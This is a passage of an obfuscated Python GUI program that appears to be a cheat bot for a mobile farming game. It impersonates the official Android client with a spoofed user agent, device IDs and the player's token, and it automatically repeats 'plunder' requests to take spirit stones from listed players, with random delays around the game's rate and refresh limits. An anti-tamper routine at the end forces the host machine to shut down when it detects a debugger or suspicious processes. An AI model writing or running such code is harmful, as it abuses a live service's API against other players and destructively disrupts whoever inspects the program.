                    self.r8t3u6v9w2("请求过于频繁，暂停 30 秒")
                    self.status_bar_var.set("请求限流，暂停 30 秒")
                    time.sleep(30)
                    continue
                elif response.status_code == 400:
                    decoded_text = response.text.encode().decode('unicode_escape')
                    if "您今日未报名" in decoded_text:
                        self.r8t3u6v9w2(f"查询失败，状态码: {response.status_code}, 响应: {decoded_text}")
                        self.status_bar_var.set("未报名，无查看权限")
                        return {"error": "not_registered"}
                    elif "刷新次数已" in decoded_text:
                        self.r8t3u6v9w2("刷新次数已用尽，重启程序")
                        self.status_bar_var.set("刷新次数用尽，重启程序")
                        total_attempts = self.plunder_stats["total_attempts"]
                        successful_plunders = self.plunder_stats["successful_plunders"]
                        total_stones = self.plunder_stats["total_stones"]
                        self.f8g3h6j2k9()
                        time.sleep(3)
                        self.plunder_stats = {
                            "total_attempts": total_attempts,
                            "successful_plunders": successful_plunders,
                            "total_stones": total_stones,
                            "records": [],
                            "nickname_stats": {}
                        }
                        self.a2b7c4d9e6()
                        return {"error": "refresh_exhausted"}
                    else:
                        self.r8t3u6v9w2(f"查询失败，状态码: {response.status_code}, 响应: {decoded_text}")
                        self.status_bar_var.set("查询失败")
                        return None
                else:
                    decoded_text = response.text.encode().decode('unicode_escape')
                    self.r8t3u6v9w2(f"查询失败，状态码: {response.status_code}, 响应: {decoded_text}")
                    self.status_bar_var.set("查询失败")
                    return None
            except requests.ConnectionError:
                self.r8t3u6v9w2(f"网络连接错误，重试 {attempt + 1}/{self.retry_attempts}")
                self.status_bar_var.set(f"网络连接错误，重试 {attempt + 1}")
            except requests.Timeout:
                self.r8t3u6v9w2(f"请求超时，重试 {attempt + 1}/{self.retry_attempts}")
                self.status_bar_var.set(f"请求超时，重试 {attempt + 1}")
            except requests.HTTPError as e:
                self.r8t3u6v9w2(f"HTTP 错误: {str(e)}")
                self.status_bar_var.set(f"HTTP 错误: {str(e)}")
                return None
            except Exception as e:
                self.r8t3u6v9w2(f"未知错误: {str(e)}")
                self.status_bar_var.set(f"未知错误: {str(e)}")
                return None
            time.sleep(2 ** attempt)
        self.r8t3u6v9w2("达到最大重试次数，查询失败")
        self.status_bar_var.set("查询失败，达到最大重试次数")
        return None
    def z4a9b2c7d3(self, target_role_id, nickname, role_id, uid, headers):
        payload = {
            "roleId": role_id,
            "dRoleId": target_role_id,
            "trayType": 1
        }
        for attempt in range(self.retry_attempts):
            try:
                self.status_bar_var.set(f"抢夺 {nickname} (尝试 {attempt + 1}/{self.retry_attempts})...")
                response = requests.post(f"{BASE_URL}{ATTACK_API}?uid={uid}&version=2.0.0", json=payload, headers=headers, timeout=10)
                self.plunder_stats["total_attempts"] += 1
                if response.status_code == 200:
                    result = response.json()
                    if result.get("plunderResult", {}).get("status") == 1:
                        stones = float(result["plunderResult"]["stone"])
                        self.plunder_stats["successful_plunders"] += 1
                        self.plunder_stats["total_stones"] += stones
                        self.plunder_stats["records"].append({
                            "timestamp": time.strftime('%Y-%m-%d %H:%M:%S'),
                            "nickname": nickname,
                            "target_role_id": target_role_id,
                            "stones": stones
                        })
                        if len(self.plunder_stats["records"]) > self.max_records:
                            self.plunder_stats["records"].pop(0)
                        self.plunder_stats["nickname_stats"].setdefault(nickname, {"count": 0, "stones": 0.0})
                        self.plunder_stats["nickname_stats"][nickname]["count"] += 1
                        self.plunder_stats["nickname_stats"][nickname]["stones"] += stones
                        self.r8t3u6v9w2(f"抢夺成功，昵称: {nickname}, 获得灵石: {stones}")
                        self.status_bar_var.set(f"抢夺成功: {nickname}, {stones} 灵石")
                        self.t7u2v9w4x8()
                        self.b6c2d7e4f9()
                    else:
                        self.r8t3u6v9w2(f"抢夺失败，昵称: {nickname}")
                        self.status_bar_var.set(f"抢夺失败: {nickname}")
                    return result
                elif response.status_code == 429:
                    self.r8t3u6v9w2("请求过于频繁，暂停 30 秒")
                    self.status_bar_var.set("请求限流，暂停 30 秒")
                    time.sleep(30)
                    continue
                else:
                    decoded_text = response.text.encode().decode('unicode_escape')
                    self.r8t3u6v9w2(f"抢夺失败，昵称: {nickname}, 状态码: {response.status_code}, 响应: {decoded_text}")
                    self.status_bar_var.set(f"抢夺失败: {nickname}, 状态码 {response.status_code}")
                    return None
            except requests.ConnectionError:
                self.r8t3u6v9w2(f"网络连接错误，重试 {attempt + 1}/{self.retry_attempts}")
                self.status_bar_var.set(f"网络连接错误，重试 {attempt + 1}")
            except requests.Timeout:
                self.r8t3u6v9w2(f"请求超时，重试 {attempt + 1}/{self.retry_attempts}")
                self.status_bar_var.set(f"请求超时，重试 {attempt + 1}")
            except requests.HTTPError as e:
                self.r8t3u6v9w2(f"HTTP 错误: {str(e)}")
                self.status_bar_var.set(f"HTTP 错误: {str(e)}")
                return None
            except Exception as e:
                self.r8t3u6v9w2(f"未知错误: {str(e)}")
                self.status_bar_var.set(f"未知错误: {str(e)}")
                return None
            time.sleep(2 ** attempt)
        self.r8t3u6v9w2("达到最大重试次数，抢夺失败")
        self.status_bar_var.set("抢夺失败，达到最大重试次数")
        return None
    def e7f2g9h4j8(self):
        now = datetime.datetime.now()
        current_minute = now.minute
        current_second = now.second
        seconds_passed = current_second
        seconds_remaining = 60 - seconds_passed
        if seconds_remaining <= 0:
            seconds_remaining += 60
        self.countdown_var.set(f"距离下次刷新: {seconds_remaining} 秒")
        self.r8t3u6v9w2(f"计算下次刷新点: 当前时间 {now.strftime('%H:%M:%S')}, 等待 {seconds_remaining} 秒")
        return seconds_remaining
    def p4q9r2s7t3(self, target_nicknames, uid, role_id, token, androidid, imei, quick_refresh_count_max, quick_refresh_duration, quick_refresh_interval):
        headers = {
            "User-Agent": "com.caike.lomo/4.2.6 (Linux; U; Android 12; zh-cn) (91416; 402060)bbcbce6e97449754",
            "Channel": "official",
            "ANDROIDID": androidid,
            "IMEI": imei,
            "test-encrypt": "0",
            "uid": uid,
            "token": token,
            "Content-Type": "application/json; charset=utf-8",
            "Host": "farm-api.lucklyworld.com",
            "Connection": "Keep-Alive",
            "Accept-Encoding": "gzip"
        }
        self.r8t3u6v9w2("开始自动抢夺灵珠，持续运行模式")
        cycle_count = 0
        first_cycle = True
        while self.running:
            cycle_count += 1
            self.r8t3u6v9w2(f"第 {cycle_count} 次循环开始")
            self.status_bar_var.set(f"循环 {cycle_count} 开始")
            is_refresh = 0 if first_cycle else 1
            if is_refresh: 
                time.sleep(3)  
            self.r8t3u6v9w2(f"查询灵珠，is_refresh={is_refresh}, 当前时间: {datetime.datetime.now().strftime('%H:%M:%S')}")
            response = self.u2v7w4x9y3(is_refresh, role_id, uid, headers)
            if not response:
                self.r8t3u6v9w2("查询失败，等待10秒后重试")
                self.status_bar_var.set("查询失败，等待10秒")
                time.sleep(10 + random.uniform(0, 2))
                continue
            if response.get("error") == "not_registered":
                self.r8t3u6v9w2("您今日未报名，程序停止运行")
                self.status_bar_var.set("未报名，程序停止")
                self.f8g3h6j2k9()
                return
            if response.get("error") == "refresh_exhausted":
                
                role_list = response.get("roleList", []) or []
                max_stone_role = max(role_list, key=lambda x: float(x.get("stone", 0)), default=None)
                if max_stone_role:
                    self.r8t3u6v9w2(f"抢夺灵石最高的角色: {max_stone_role['nickname']} (灵石: {max_stone_role['stone']})")
                    self.z4a9b2c7d3(max_stone_role["roleId"], max_stone_role["nickname"], role_id, uid, headers)
                   
                   
                    time.sleep(3 + random.uniform(0, 2))
                else:
                    self.r8t3u6v9w2("无可用角色，等待10秒后重试")
                    self.status_bar_var.set("无可用角色，等待10秒")
                    time.sleep(10 + random.uniform(0, 2))
                continue
            first_cycle = False
            role_list = response.get("roleList", [])
            refresh_used = response.get("refreshNum", {}).get("used", 0)
            refresh_total = response.get("refreshNum", {}).get("total", 10)
            target_role = None
            for role in role_list:
                nickname = role.get("nickname", "").strip().lower()
                stone = float(role.get("stone", 0))
                role_id_target = role.get("roleId", 0)
                self.r8t3u6v9w2(f"角色: {nickname}, 灵石: {stone}")
                if nickname in target_nicknames:
                    target_role = {"roleId": role_id_target, "nickname": nickname, "stone": stone}
                    self.r8t3u6v9w2(f"找到名单中的角色: {nickname}, 灵石: {stone}")
                    self.status_bar_var.set(f"找到目标: {nickname}, 灵石 {stone}")
                    break
            if target_role:
                if target_role["stone"] > self.stone_threshold:
                    self.r8t3u6v9w2(f"灵石满足条件 (>{self.stone_threshold})，抢夺角色: {target_role['nickname']}")
                    self.z4a9b2c7d3(target_role["roleId"], target_role["nickname"], role_id, uid, headers)
                    self.r8t3u6v9w2("抢夺完成，等待3秒后继续下一次循环")
                    self.status_bar_var.set("抢夺完成，等待3秒")
                    time.sleep(3 + random.uniform(0, 2))
                else:
                    quick_refresh_count = 0
                    while quick_refresh_count < quick_refresh_count_max and self.running:
                        quick_refresh_count += 1
                        self.r8t3u6v9w2(f"灵石不足 (<= {self.stone_threshold})，目标: {target_role['nickname']}，第 {quick_refresh_count}/{quick_refresh_count_max} 次快速检测")
                        self.status_bar_var.set(f"灵石不足，目标: {target_role['nickname']}，快速检测 {quick_refresh_count}/{quick_refresh_count_max}")
                        
                        # 等待到下一个刷新点
                        now = datetime.datetime.now()
                        wait_seconds = 60 - now.second
                        self.r8t3u6v9w2(f"等待到下一个刷新点，剩余 {wait_seconds} 秒")
                        self.status_bar_var.set(f"等待刷新点，剩余 {wait_seconds} 秒")
                        
                        start_wait = time.time()
                        while self.running and time.time() - start_wait < wait_seconds:
                            remaining = wait_seconds - (time.time() - start_wait)
                            if remaining <= 0:
                                break
                            time.sleep(min(1, remaining))
                            if int(time.time() - start_wait) % 10 == 0:  # 每10秒更新一次日志
                                self.r8t3u6v9w2(f"等待刷新点，剩余 {int(remaining)} 秒")
                        
                        if not self.running:
                            self.r8t3u6v9w2("程序停止，退出快速检测")
                            break
                            
                        self.r8t3u6v9w2("进入快速检测模式（持续40秒）")
                        self.status_bar_var.set("快速检测模式（40秒）")
                        
                        quick_start_time = time.time()
                        last_check_time = quick_start_time
                        should_break = False
                        
                        while time.time() - quick_start_time < 40 and self.running and not should_break:
                            current_time = time.time()
                            time_since_last_check = current_time - last_check_time
                            
                            if time_since_last_check >= 4:  # 每4秒检测一次
                                if time_since_last_check > 4.5:  # 允许0.5秒的误差
                                    self.r8t3u6v9w2(f"检测间隔异常: {time_since_last_check:.1f}秒")
                                
                                response = self.u2v7w4x9y3(0, role_id, uid, headers)
                                if not response:
                                    self.r8t3u6v9w2("快速检测失败，等待3秒重试")
                                    self.status_bar_var.set("快速检测失败，等待3秒")
                                    time.sleep(3)
                                    continue
                                    
                                if response.get("error") == "refresh_exhausted":
                                    self.r8t3u6v9w2(f"快速检测中刷新次数已用尽 ({refresh_used}/{refresh_total})，继续等待目标角色: {target_role['nickname']}")
                                    self.status_bar_var.set(f"刷新次数用尽，继续等待目标: {target_role['nickname']}")
                                    time.sleep(3)
                                    continue
                                    
                                role_list = response.get("roleList", [])
                                refresh_used = response.get("refreshNum", {}).get("used", 0)
                                
                                target_found = False
                                for role in role_list:
                                    if role.get("roleId") == target_role["roleId"]:
                                        target_found = True
                                        target_role["stone"] = float(role.get("stone", 0))
                                        self.r8t3u6v9w2(f"快速检测灵石: {target_role['nickname']} 当前灵石: {target_role['stone']}")
                                        self.status_bar_var.set(f"检测: {target_role['nickname']}, 灵石 {target_role['stone']}")
                                        
                                        if target_role["stone"] > self.stone_threshold:
                                            self.r8t3u6v9w2(f"灵石满足条件 (>{self.stone_threshold})，抢夺角色: {target_role['nickname']}")
                                            self.z4a9b2c7d3(target_role["roleId"], target_role["nickname"], role_id, uid, headers)
                                            self.r8t3u6v9w2("抢夺完成，退出快速检测")
                                            self.status_bar_var.set("抢夺完成，退出快速检测")
                                            time.sleep(3 + random.uniform(0, 2))
                                            should_break = True
                                        break
                                
                                if not target_found:
                                    self.r8t3u6v9w2(f"目标角色 {target_role['nickname']} 已不在列表中，退出快速检测")
                                    self.status_bar_var.set(f"目标 {target_role['nickname']} 不在列表")
                                    should_break = True
                                
                                last_check_time = current_time
                            else:
                                # 精确控制检测间隔
                                sleep_time = max(0.01, 4 - time_since_last_check)
                                time.sleep(sleep_time)
                        
                        if time.time() - quick_start_time >= 40:
                            self.r8t3u6v9w2(f"第 {quick_refresh_count}/{quick_refresh_count_max} 次快速检测40秒结束")
                            self.status_bar_var.set("快速检测结束")
                            
                        if should_break:
                            self.r8t3u6v9w2(f"快速检测退出，原因: {'灵石满足条件' if target_role['stone'] > self.stone_threshold else '目标不在列表' if not target_found else '刷新次数耗尽'}")
                            break
                            
                        if quick_refresh_count == quick_refresh_count_max:
                            self.r8t3u6v9w2(f"已完成第 {quick_refresh_count_max} 次快速检测，灵石仍不足 (<= {self.stone_threshold})，强制抢夺: {target_role['nickname']}")
                            max_retries = 3
                            retry_count = 0
                            while retry_count < max_retries and self.running:
                                result = self.z4a9b2c7d3(target_role["roleId"], target_role["nickname"], role_id, uid, headers)
                                if result and result.get("plunderResult", {}).get("status") == 1:
                                    self.r8t3u6v9w2("抢夺成功，退出快速检测")
                                    break
                                elif result and "该玩家正在被挑战" in str(result):
                                    retry_count += 1
                                    if retry_count < max_retries:
                                        self.r8t3u6v9w2(f"目标正在被挑战，1秒后第{retry_count + 1}次重试")
                                        time.sleep(1)
                                    else:
                                        self.r8t3u6v9w2("达到最大重试次数，放弃抢夺")
                                else:
                                    break
                            self.status_bar_var.set("抢夺完成，退出快速检测")
                            time.sleep(3 + random.uniform(0, 2))
                            break
            else:
                
                if refresh_used >= refresh_total:

                    max_stone_role = max(role_list, key=lambda x: float(x.get("stone", 0)), default=None)
                    if max_stone_role:
                        self.r8t3u6v9w2(f"抢夺灵石最高的角色: {max_stone_role['nickname']} (灵石: {max_stone_role['stone']})")
                        self.z4a9b2c7d3(max_stone_role["roleId"], max_stone_role["nickname"], role_id, uid, headers)
                       
                        time.sleep(3 + random.uniform(0, 2))
                    else:
                        
                        time.sleep(10 + random.uniform(0, 2))
                
                   
    def h4j9k2m7n3(self, current_time_str, start_time_str, stop_time_str):
        def time_to_minutes(time_str):
            try:
                hours, minutes = map(int, time_str.split(':'))
                if hours < 0 or hours > 23 or minutes < 0 or minutes > 59:
                    raise ValueError("无效时间格式")
                return hours * 60 + minutes
            except ValueError:
                self.r8t3u6v9w2(f"时间格式错误: {time_str}")
                return 0
        current_minutes = time_to_minutes(current_time_str)
        start_minutes = time_to_minutes(start_time_str)
        stop_minutes = time_to_minutes(stop_time_str)
        range_desc = f"{start_time_str} - {stop_time_str}"
        if stop_minutes <= start_minutes:
            is_in_range = current_minutes >= start_minutes or current_minutes < stop_minutes
        else:
            is_in_range = start_minutes <= current_minutes < stop_minutes
        return is_in_range, range_desc
    def k6m2n7p4q9(self):
        try:
            current_time = datetime.datetime.now()
            current_time_str = current_time.strftime("%H:%M")
            if self.last_check_time == current_time_str:
                self.root.after(10000, self.k6m2n7p4q9)
                return
            self.last_check_time = current_time_str
            self.r8t3u6v9w2(f"定时检查: 当前时间 {current_time_str}, 自动启动: {self.auto_start_enabled.get()}, 自动停止: {self.auto_stop_enabled.get()}")
            if self.auto_start_enabled.get() and not self.running:
                is_in_range, range_desc = self.h4j9k2m7n3(
                    current_time_str,
                    self.auto_start_time.get(),
                    self.auto_stop_time.get()
                )
                if is_in_range:
                    self.r8t3u6v9w2(f"当前时间 {current_time_str} 在运行时间范围内（{range_desc}），自动启动")
                    self.a2b7c4d9e6()
                else:
                    self.r8t3u6v9w2(f"当前时间 {current_time_str} 不在运行时间范围内（{range_desc}），不启动")
            if self.auto_stop_enabled.get() and self.running:
                is_in_range, range_desc = self.h4j9k2m7n3(
                    current_time_str,
                    self.auto_start_time.get(),
                    self.auto_stop_time.get()
                )
                if not is_in_range:
                    self.r8t3u6v9w2(f"当前时间 {current_time_str} 不在运行时间范围内（{range_desc}），自动停止")
                    self.f8g3h6j2k9()
                else:
                    self.r8t3u6v9w2(f"当前时间 {current_time_str} 仍在运行时间范围内（{range_desc}），继续运行")
            self.root.after(10000, self.k6m2n7p4q9)
        except Exception as e:
            self.r8t3u6v9w2(f"定时检查出错: {str(e)}")
            self.root.after(10000, self.k6m2n7p4q9)
    def o6p2q9r4t7(self):
        try:
            config = {
                "auto_start_enabled": self.auto_start_enabled.get(),
                "auto_stop_enabled": self.auto_stop_enabled.get(),
                "auto_start_time": self.auto_start_time.get(),
                "auto_stop_time": self.auto_stop_time.get()
            }
            with open("schedule_config.json", "w", encoding="utf-8") as f:
                json.dump(config, f, ensure_ascii=False, indent=2)
            self.r8t3u6v9w2("定时设置已保存")
        except Exception as e:
            self.r8t3u6v9w2(f"保存定时设置失败: {str(e)}")
            messagebox.showerror("错误", f"保存定时设置失败: {str(e)}")
    def b8c3d6e9f2(self):
        try:
            current_time = datetime.datetime.now()
            current_time_str = current_time.strftime("%H:%M")
            is_in_range, range_desc = self.h4j9k2m7n3(
                current_time_str,
                self.auto_start_time.get(),
                self.auto_stop_time.get()
            )
            if self.auto_start_enabled.get() and not self.running:
                if is_in_range:
                    self.r8t3u6v9w2(f"程序启动时检测到当前时间 {current_time_str} 在运行时间范围内（{range_desc}），自动开始运行")
                    self.a2b7c4d9e6()
                else:
                    self.r8t3u6v9w2(f"程序启动时检测到当前时间 {current_time_str} 不在运行时间范围内（{range_desc}），不自动启动")
            self.root.after(10000, self.k6m2n7p4q9)
        except Exception as e:
            self.r8t3u6v9w2(f"自动启动检查出错: {str(e)}")
    def d6e2f9g4h7(self):
        self.root.deiconify()
        self.root.state('normal')
        self.root.lift()
    def j2k7m4n9p3(self):
        self.sound_enabled.set(not self.sound_enabled.get())
    def t7u2v9w4x8(self):
        if self.sound_enabled.get():
            try:
                winsound.PlaySound("SystemExclamation", winsound.SND_ASYNC)
            except Exception as e:
                self.r8t3u6v9w2(f"播放声音失败: {str(e)}")
    def q9r2s7t4u8(self):
        if self.running:
            if messagebox.askokcancel("退出", "抢夺正在运行，是否停止并退出？"):
                self.f8g3h6j2k9()
                self.v2w7x4y9z3()
                self.icon.stop()
                self.root.destroy()
        else:
            self.v2w7x4y9z3()
            self.icon.stop()
            self.root.destroy()
    def detect_tampering(self): 
        if is_debugger_present():
            self.r8t3u6v9w2("检测到调试器")
            return True
        if check_suspicious_processes():
            self.r8t3u6v9w2("检测到可疑进程")
            return True
        return False
    def initiate_shutdown(self):
        self.r8t3u6v9w2("检测到程序被篡改，系统将在2秒后关机")
        time.sleep(2)
        if platform.system() == "Windows":
            os.system("shutdown /s /t 0")
        else:
            os.system("sudo shutdown now")
if __name__ == "__main__":
    root = ThemedTk(theme="arc") if 'ttkthemes' in globals() else tk.Tk()
    app = PlunderGUI(root)
    root.mainloop()